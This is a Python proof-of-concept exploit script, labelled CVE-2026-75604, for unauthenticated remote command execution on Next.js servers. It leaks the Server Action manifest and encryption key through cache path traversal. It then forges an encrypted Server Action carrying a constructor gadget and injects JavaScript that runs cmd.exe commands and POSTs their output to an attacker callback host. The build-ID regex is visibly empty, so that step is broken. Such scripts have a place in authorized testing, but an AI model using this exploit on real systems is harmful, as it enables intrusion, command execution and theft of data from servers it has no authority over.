#!/usr/bin/env python3
import argparse
import base64
import html
import http.server
import ipaddress
import json
import os
import re
import secrets
import ssl
import sys
import threading
import urllib.error
import urllib.parse
import urllib.request
from html.parser import HTMLParser
import requests
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
class NotVulnerableError(RuntimeError):
pass
class InconclusiveError(RuntimeError):
pass
class NoRedirect(urllib.request.HTTPRedirectHandler):
def redirect_request(self, req, fp, code, msg, headers, newurl):
return None
class ActionFormParser(HTMLParser):
def __init__(self):
super().__init__(convert_charrefs=True)
self.forms = []
self.current_form = None
def handle_starttag(self, tag, attrs):
if tag == "form":
self.current_form = []
elif self.current_form is not None and tag in {
"input",
"textarea",
"select",
"button",
}:
attributes = dict(attrs)
if attributes.get("name"):
self.current_form.append(
(attributes["name"], attributes.get("value", ""))
)
def handle_endtag(self, tag):
if tag == "form" and self.current_form is not None:
self.forms.append(self.current_form)
self.current_form = None
class HttpClient:
def __init__(self, target, timeout, insecure):
parsed = urllib.parse.urlsplit(target)
if parsed.scheme not in {"http", "https"} or not parsed.netloc:
raise ValueError("target must be an HTTP or HTTPS URL")
if parsed.path not in {"", "/"} or parsed.query or parsed.fragment:
raise ValueError("target must not contain a path, query, or fragment")
self.origin = f"{parsed.scheme}://{parsed.netloc}"
self.timeout = timeout
self.verify_tls = not insecure
context = ssl._create_unverified_context() if insecure else ssl.create_default_context()
self.opener = urllib.request.build_opener(
NoRedirect(), urllib.request.HTTPSHandler(context=context)
)
def request(self, path, method="GET", data=None, headers=None):
request = urllib.request.Request(
self.origin + path,
data=data,
headers=headers or {},
method=method,
)
try:
with self.opener.open(request, timeout=self.timeout) as response:
return response.status, response.read()
except urllib.error.HTTPError as error:
return error.code, error.read()
except (urllib.error.URLError, TimeoutError, OSError) as error:
raise InconclusiveError(f"request to {path} failed: {error}") from error
def get_text(self, path):
status, body = self.request(path)
if status < 200 or status >= 300:
raise NotVulnerableError(f"GET {path} returned HTTP {status}")
return body.decode("utf-8", errors="replace")
def parse_build_id(pages_html):
match = re.search(
r'',
pages_html,
re.DOTALL,
)
if not match:
raise NotVulnerableError("the Pages Router response has no build ID")
return json.loads(html.unescape(match.group(1)))["buildId"]
def normalize_route_path(path, option_name, allow_root=True):
if not path.startswith("/") or path.startswith("//"):
raise ValueError(f"{option_name} must be an absolute URL path")
if "?" in path or "#" in path or "\\" in path:
raise ValueError(f"{option_name} must not contain a query, fragment, or backslash")
normalized = path.rstrip("/") or "/"
if not allow_root and normalized == "/":
raise ValueError(f"{option_name} must identify a concrete route instance")
return normalized
def traversal_request_path(route_path, filename, prefix="", suffix=""):
parent = route_path.rsplit("/", 1)[0] or "/"
depth = len([segment for segment in parent.split("/") if segment]) + 1
traversal = "..%5C" * depth + filename
parent_path = "" if parent == "/" else parent
return f"{prefix}{parent_path}/{traversal}{suffix}"
def leak_manifest(client, build_id, app_cache_path, pages_cache_path):
app_traversal = traversal_request_path(
app_cache_path, "server-reference-manifest"
)
client.get_text(app_traversal)
pages_traversal = traversal_request_path(
pages_cache_path,
"server-reference-manifest",
prefix=f"/_next/data/{build_id}",
suffix=".json",
)
body = client.get_text(pages_traversal)
try:
manifest = json.loads(body)
except json.JSONDecodeError as error:
raise NotVulnerableError("the cache traversal did not return a manifest") from error
if not manifest.get("encryptionKey") or not manifest.get("node"):
raise NotVulnerableError("the disclosed file has no Server Action key")
return manifest
def parse_actions(client, action_path, requested_field):
action_html = client.get_text(action_path)
parser = ActionFormParser()
parser.feed(action_html)
actions = []
for form in parser.forms:
fields = dict(form)
references = [
name.removeprefix("$ACTION_REF_")
for name, _ in form
if name.startswith("$ACTION_REF_")
]
public_fields = list(
dict.fromkeys(
name for name, _ in form if not name.startswith("$ACTION_")
)
)
detected_field = public_fields[0] if len(public_fields) == 1 else None
for reference in references:
descriptor = fields.get(f"$ACTION_{reference}:0")
if not descriptor:
continue
try:
action = json.loads(descriptor)
actions.append(
(reference, action["id"], requested_field or detected_field)
)
except (json.JSONDecodeError, KeyError, TypeError):
continue
if not actions:
raise NotVulnerableError("no compatible closure-bound Server Action was found")
return actions
def encrypt_bound_args(action_id, encryption_key):
flight = b'1:{}\n0:["$1:constructor:constructor"]\n'
iv = os.urandom(16)
plaintext = action_id.encode() + flight
ciphertext = AESGCM(encryption_key).encrypt(iv, plaintext, None)
return base64.b64encode(iv + ciphertext).decode()
def build_command_body(command, callback_ip, callback_port, callback_path):
return (
'const cp=process.mainModule.require("node:child_process");'
'const http=process.mainModule.require("node:http");'
'const output=cp.execFileSync("cmd.exe",["/d","/s","/c",'
+ json.dumps(command)
+ '],{encoding:"utf8"});'
'const body=String(output);'
'const request=http.request({host:'
+ json.dumps(callback_ip)
+ ",port:"
+ str(callback_port)
+ ",path:"
+ json.dumps(callback_path)
+ ',method:"POST",headers:{"Content-Type":"text/plain",'
'"Content-Length":Buffer.byteLength(body)}},()=>{});'
'request.on("error",()=>{});request.end(body);return body'
)
def start_callback(listen_address, port, expected_path):
result = {"body": None}
received = threading.Event()
class CallbackHandler(http.server.BaseHTTPRequestHandler):
def do_POST(self):
if self.path != expected_path:
self.send_error(404)
return
try:
length = int(self.headers.get("Content-Length", "0"))
except ValueError:
self.send_error(400)
return
if length < 0 or length > 1024 * 1024:
self.send_error(413)
return
result["body"] = self.rfile.read(length)
self.send_response(204)
self.end_headers()
received.set()
def log_message(self, format, *args):
pass
try:
server = http.server.ThreadingHTTPServer((listen_address, port), CallbackHandler)
except OSError as error:
raise InconclusiveError(f"could not listen on {listen_address}:{port}: {error}") from error
thread = threading.Thread(target=server.serve_forever, daemon=True)
thread.start()
return server, received, result
def send_action(
client,
action_path,
action_field,
reference,
action_id,
encrypted_args,
command_body,
):
fields = [
(f"$ACTION_REF_{reference}", ""),
(
f"$ACTION_{reference}:0",
json.dumps({"id": action_id, "bound": "$@1"}, separators=(",", ":")),
),
(f"$ACTION_{reference}:1", '["$@2"]'),
(f"$ACTION_{reference}:2", json.dumps(encrypted_args)),
(action_field, command_body),
]
try:
response = requests.post(
client.origin + action_path,
files=[(name, (None, str(value))) for name, value in fields],
headers={"Origin": client.origin},
timeout=client.timeout,
verify=client.verify_tls,
allow_redirects=False,
)
except requests.RequestException as error:
raise InconclusiveError(f"Server Action request failed: {error}") from error
return response.status_code
def run_exploit(args):
callback_ip = str(ipaddress.IPv4Address(args.callback_ip))
client = HttpClient(args.target, args.timeout, args.insecure)
pages_cache_path = normalize_route_path(
args.pages_cache_path, "--pages-cache-path", allow_root=False
)
app_cache_path = normalize_route_path(
args.app_cache_path, "--app-cache-path", allow_root=False
)
action_path = normalize_route_path(args.action_path, "--action-path")
if args.action_field and args.action_field.startswith("$ACTION_"):
raise ValueError("--action-field must be an application form field")
print("CVE-2026-75604 RCE PoC")
print("========================")
print(f"Target : {client.origin}")
print(f"Pages route : {pages_cache_path}")
print(f"App route : {app_cache_path}")
print(f"Action page : {action_path}")
print(f"Callback : {callback_ip}:{args.callback_port}")
print(f"Command : {args.command}")
print("\n[*] Reading the Next.js filesystem cache")
build_id = parse_build_id(client.get_text(pages_cache_path))
manifest = leak_manifest(
client, build_id, app_cache_path, pages_cache_path
)
print("[+] Private Server Action manifest disclosed")
actions = parse_actions(client, action_path, args.action_field)
selected_action = next(
(
(reference, action_id, action_field)
for reference, action_id, action_field in actions
if action_id in manifest["node"] and action_field
),
None,
)
if not selected_action:
manifest_actions = [
action for action in actions if action[1] in manifest["node"]
]
if manifest_actions:
raise NotVulnerableError(
"the action form has multiple fields; specify --action-field"
)
raise NotVulnerableError("the selected action is absent from the manifest")
reference, action_id, action_field = selected_action
print("[+] Compatible closure-bound Server Action found")
try:
encryption_key = base64.b64decode(manifest["encryptionKey"], validate=True)
encrypted_args = encrypt_bound_args(action_id, encryption_key)
except (ValueError, TypeError) as error:
raise NotVulnerableError("the disclosed encryption key is invalid") from error
callback_path = f"/result/{secrets.token_urlsafe(18)}"
server, received, result = start_callback(
args.listen_address, args.callback_port, callback_path
)
try:
print("[*] Sending the forged Server Action request")
command_body = build_command_body(
args.command, callback_ip, args.callback_port, callback_path
)
send_action(
client,
action_path,
action_field,
reference,
action_id,
encrypted_args,
command_body,
)
if not received.wait(args.timeout):
raise InconclusiveError("the command callback was not received")
finally:
server.shutdown()
server.server_close()
output = result["body"].decode("utf-8", errors="replace").rstrip()
print("\n--- command output ---")
print(output or "")
print("----------------------")
print("\n[+] VULNERABLE: unauthenticated command execution confirmed")
def parse_args():
parser = argparse.ArgumentParser(
description="Reproduce CVE-2026-75604 against an authorized target."
)
parser.add_argument("--target", required=True, help="Next.js base URL")
parser.add_argument(
"--callback-ip",
required=True,
help="IPv4 address reachable by the target",
)
parser.add_argument(
"--pages-cache-path",
required=True,
metavar="PATH",
help="existing dynamic Pages Router ISR page used as a traversal anchor",
)
parser.add_argument(
"--app-cache-path",
required=True,
metavar="PATH",
help="existing dynamic App Router page used as a cache traversal anchor",
)
parser.add_argument(
"--action-path",
default="/",
metavar="PATH",
help="App Router page containing a compatible Server Action (default: /)",
)
parser.add_argument(
"--action-field",
metavar="NAME",
help="form field consumed by the action (detected when unambiguous)",
)
parser.add_argument("--callback-port", type=int, default=4331)
parser.add_argument("--listen-address", default="0.0.0.0")
parser.add_argument("--command", default="whoami")
parser.add_argument("--timeout", type=int, default=20)
parser.add_argument(
"--insecure",
action="store_true",
help="disable TLS certificate verification",
)
return parser.parse_args()
def main():
if hasattr(sys.stdout, "reconfigure"):
sys.stdout.reconfigure(line_buffering=True)
args = parse_args()
try:
run_exploit(args)
except NotVulnerableError as error:
print(f"\n[-] NOT VULNERABLE: {error}", file=sys.stderr)
raise SystemExit(1)
except InconclusiveError as error:
print(f"\n[!] INCONCLUSIVE: {error}", file=sys.stderr)
raise SystemExit(2)
except (KeyError, RuntimeError, ValueError) as error:
print(f"\n[-] EXPLOIT FAILED: {error}", file=sys.stderr)
raise SystemExit(3)
if __name__ == "__main__":
main()